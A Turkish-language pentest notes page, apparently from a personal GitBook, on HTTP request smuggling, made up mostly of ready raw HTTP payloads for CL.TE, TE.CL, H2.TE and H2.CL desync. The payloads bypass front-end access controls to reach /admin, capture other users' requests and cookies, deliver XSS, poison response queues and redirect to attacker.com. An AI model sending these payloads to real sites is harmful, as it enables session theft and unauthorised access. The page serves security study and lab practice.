🖥️
Siber Güvenlik Notları
  • WHOAMI
    • 👨‍💻Who Am I?
  • 🔭Information Gathering
    • Pentest VM Setup
    • Passive Information Gathering
    • Subdomain Enumeration
    • Host Discovery
    • Port Scanning
    • Email Enumeration
    • Leaked Passwords
    • Zafiyet Araştırma
  • 🪟Windows Pentesting
    • Windows Privilege Escalation
    • Windows Persistence
    • Windows Lateral Movement
    • AV Evasion
  • 🐧Linux Pentesting
    • Linux Privilege Escalation
    • Linux Persistence
    • Linux Lateral Movement
  • 🕸️Web Application Pentesting
    • Web Pentest Checklist
    • SQL Injection
    • NoSQL Injection
    • OS Command Injection
    • XXE Injection
    • SSTI
    • XSS
    • CSRF
    • SSRF
    • LFI/RFI
    • Insecure Deserialization
    • CORS Misconfiguration
    • Directory Traversal
    • File Upload
    • Broken Authentication
    • Broken Access Control
    • Business Logic
    • Race Conditions
    • Web Cache Deception
    • AWS Testing
    • Web Cache Poisoning
    • Clickjacking
    • API Testing
    • Broken Link Hijacking
    • HTTP Request Smuggling
    • LLM
    • HTTP Host Header Attack
    • OAuth Zafiyetleri
    • GraphQL API
    • HTTP Parameter Pollution
    • Configuration and Deployment Management Testing
    • Information Disclosure
    • Prototype pollution
    • JWT
  • 🖲️Network Service Pentesting
    • 📘Active Directory Services
      • Bleeding Edge Vulns
      • Misconfigs
      • Domain Trust
      • DNS (53)
      • Kerberos (88)
      • LDAP (389,636)
      • RPC WMI (135)
      • SMB (445)
      • WinRM - 5985
    • 📂FTP - 21
    • 🔐SSH - 22
    • 🤣Telnet - 23
    • SMTP - 25
    • TFTP - 69 UDP
    • HTTP - 80,443
      • Apache
      • Joomla
      • Drupal
      • Wordpress
      • WEBDAV
      • PHP
      • Laravel
    • IMAP/POP3 - 110,143,993,995
    • SNMP - 161
    • Rservices - 512
    • IPMI - 623
    • Rsync - 873
    • MSSQL - 1433
    • Oracle TNS - 1521
    • NFS - 2049
    • Docker
    • Grafana - 3000
    • MySQL - 3306
    • RDP - 3389
    • Postgresql - 5432
    • Redis - 6379
    • JDWP - 8000
    • MongoDB - 27017
  • 🕸️Network Pentesting
    • ARP Poisoning
  • 📞Android Pentesting
    • Android Derleme Süreci
    • Reversing
    • Rooting
    • Burp Suite Sertifikası
    • SSL Pinning Bypass
    • Patching
    • MobSF Kurulumu
    • Flutter Pentesting
  • 📰Teori
    • Güvenlik Ürünleri
    • OSI
    • Security Principles
  • Diger
    • Hacking Gadgets
      • Wifi Pineapple
      • Pwnagotchi
    • Stego
    • Buffer Overflow
    • Phishing
    • Nessus
    • DDOS Attacks
    • MSFConsole
  • ⏪Reverse
    • GCC Reverse
    • Python Reverse
    • Flare VM
    • Remnux
  • 🛜Wireless Pentesting
    • Wireless Pentest
    • Wireless V2
Powered by GitBook
On this page
  • HTTP Request Smuggling Nedir?
  • Yöntemler
  • CL.TE Zafiyetini Doğrulama
  • TE.CL Zafiyetini Doğrulama
  • CL.TE ile Front-end Kontrol Bypass
  • TE.CL ile Front-end Kontrol Bypass
  • CL.TE ile Front-end Rewriting Keşfi
  • CL.TE ile Diğer Kullanıcıların İsteklerini Çalma
  • CL.TE ile XSS Gönderme
  • H2.TE ile Yanıt Sırası Zehirleme
  • H2.CL ile Request Smuggling
  • Araçlar

Was this helpful?

  1. Web Application Pentesting

HTTP Request Smuggling

PreviousBroken Link HijackingNextLLM

Last updated 1 year ago

Was this helpful?

HTTP Request Smuggling Nedir?

  • HTTP Request Smuggling, bir web sitesinin bir veya daha fazla kullanıcıdan alınan HTTP istek dizilerini işleme biçimine müdahale etmeye yönelik bir tekniktir. Request Smuggling güvenlik açıkları genellikle kritik niteliktedir ve bir saldırganın güvenlik kontrollerini atlamasına, hassas verilere yetkisiz erişim elde etmesine ve diğer uygulama kullanıcılarını doğrudan tehlikeye atmasına olanak tanır.

  • Request Smuggling öncelikle HTTP/1 istekleri ile ilişkilidir. Bununla birlikte, HTTP/2'yi destekleyen web siteleri, back-end mimarilerine bağlı olarak savunmasız olabilir.

Yöntemler

CL.TE Zafiyetini Doğrulama

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: X

TE.CL Zafiyetini Doğrulama

Otomatik CL kapatıyoruz.

  • 4 = 5e nin uzunluğu

  • 5e = Alttaki isteğin uzunluğunun hex değeri

  • 15 = alttaki data 10 byte uzunluğunda bu yüzden 10'dan büyük herhangi bir değer

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

CL.TE ile Front-end Kontrol Bypass

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

TE.CL ile Front-end Kontrol Bypass

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

CL.TE ile Front-end Rewriting Keşfi

Search parametresinin değeri yansıdığı için bir sonraki isteğin yeniden yazılmadan önceki halini keşfedebiliyoruz.

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 124
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 200
Connection: close

search=test

CL.TE ile Diğer Kullanıcıların İsteklerini Çalma

Burada hedef kullanıcıya bir yorum isteği yolluyoruz. Hedef yorum isteğini gönderdiğinde yorumda kullanıcının isteğini görebiliyoruz. Bu yöntem ile çerezleri ele geçirebiliriz.

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

comment=test

CL.TE ile XSS Gönderme

POST / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
Transfer-Encoding: chunked

0

GET /search HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

search=<script>alert(1)</script>

H2.TE ile Yanıt Sırası Zehirleme

Burada CL başlığı kullanmıyoruz. Her 404 aldığımızda 1 saniye bekleyip isteği yenilersek başka kullanıcıların yanıtlarını çalabiliriz.

Ayrıca ilk istek HTTP/2 ikinci istek HTTP/1.1 olmalı

POST /404 HTTP/2
Host: example.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Host: 0a68003f04ab3a148099442f002100b5.web-security-academy.net

H2.CL ile Request Smuggling

Burada TE başlığı kullanmıyoruz. Burada hedefimizi kendi sitemize yönlendirip xss çalıştırabiliriz.

POST / HTTP/2
Host: example.com
Content-Length: 0

GET /resources HTTP/1.1
Host: attacker.com
Content-Length: 5

x=1

Araçlar

Smuggler:

Burp Smuggler:

🕸️
https://github.com/defparam/smuggler
https://github.com/PortSwigger/http-request-smuggler